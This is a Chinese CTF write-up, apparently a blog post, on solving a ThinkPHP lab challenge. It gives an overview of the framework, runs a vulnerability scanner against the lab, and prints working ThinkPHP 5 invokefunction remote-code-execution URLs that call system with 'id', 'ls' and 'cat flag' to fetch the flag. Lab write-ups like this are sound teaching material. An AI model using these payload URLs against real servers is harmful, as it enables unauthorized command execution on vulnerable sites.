打开页面发现使用了ThinkPHP框架
参考https://blog.csdn.net/qq_30889301/article/details/130581008博客进行解题
ThinkPHP是一个基于PHP语言的开源Web应用框架,它提供了一系列的工具和组件,可以帮助开发人员更快速、更高效地构建Web应用程序。ThinkPHP框架具有简单易用、高效稳定、安全可靠等特点,被广泛应用于各种Web应用程序的开发中。
ThinkPHP框架的主要特点包括:
MVC架构:采用经典的MVC(Model-View-Controller)架构,将应用程序的业务逻辑、数据模型和用户界面分离,使得应用程序更易于维护和扩展。
ORM支持:提供了强大的ORM(Object-Relational Mapping)支持,可以将数据库表映射为对象,使得开发人员可以更方便地操作数据库。
缓存支持:提供了多种缓存支持,包括文件缓存、Memcached缓存、Redis缓存等,可以提高应用程序的性能和响应速度。
安全性:提供了多种安全机制,包括输入验证、输出过滤、SQL注入防护、XSS防护等,可以保障应用程序的安全性。
扩展性:提供了丰富的扩展机制,包括插件机制、行为机制、模板引擎扩展等,可以方便地扩展和定制应用程序。
对于thinkphp框架Github上有一个专用的漏洞验证工具:https://github.com/zangcc/Aazhen-v3.1
在目录下运行该工具
java -javaagent:rexha.jar -jar rexha.jar
打开工具后将靶场地址粘进去
全扫一遍后发现有两个漏洞
一个是远程代码执行
还有一个数据库信息泄露
远程代码任意执行一般能拿到不少东西,先使用这个
此工具已经给一个可用的url案例,我们只需要更改就可以了
http://61.147.171.105:60391/index.php?s=%2FIndex%2F%5Cthink%5Capp%2Finvokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=id
//这个url已经过urlencode,为了方便理解,下面一行使用urldecode结果展示
http://61.147.171.105:60391/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
参数解析
这个URL参数是对目标web服务器进行的远程代码执行
ThinkPHP的请求处理器(think)
应用程序控制器(app)
函数调用器(invokefunction)
通过invokefunction指定了要调用的函数名为"calluserfuncarray"。该函数的作用是调用一个用户自定义的函数,并将一个数组作为参数传递给该函数。
在这个URL请求中,该函数的第一个参数是"system",表示要执行的系统命令,
第二个参数是一个数组,其中包含要传递给该命令的参数。在这个例子中,该数组只包含一个参数"id"
下面我们把的第二个数组元素内容作为要执行的命令修改以下就ok了
http://61.147.171.105:60391/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
查询上一级目录将参数改为ls /,在根目录发现flag
通过cat flag命令将内容输出
flag{thinkphp5_rce}
thinkphp的不同版本姿势可参考文章:https://www.cnblogs.com/qiushuo/p/17454519.html
标签:Web,缓存,应用程序,参数,ThinkPHP,rce,php From: https://www.cnblogs.com/fishjumpriver/p/17773867.html